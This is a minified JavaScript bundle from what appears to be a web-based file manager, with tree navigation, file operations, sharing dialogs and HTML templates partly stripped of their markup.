i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"list="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof t&&(Tips.close(e),t(e.info))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e) -}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.USER_SHARE)return Tips.tips(LNG.path_can_not_action,!1),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,t){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},S=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},j=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},E=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},z=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(z(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=z(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:O,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:E,favRemove:j}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n\n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t=core.pathExt(e),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:core.pathThis(e),ext:t}]),void 0}return"pdf"==t?(core.fileLink(e,function(i){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(i);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:i}).embed(n)}}),void 0):inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var t=jsonDecode(e);t.name=core.pathThis(n),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){var i='
        '+LNG.unknow_file_tips+"
        "+t+"

        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
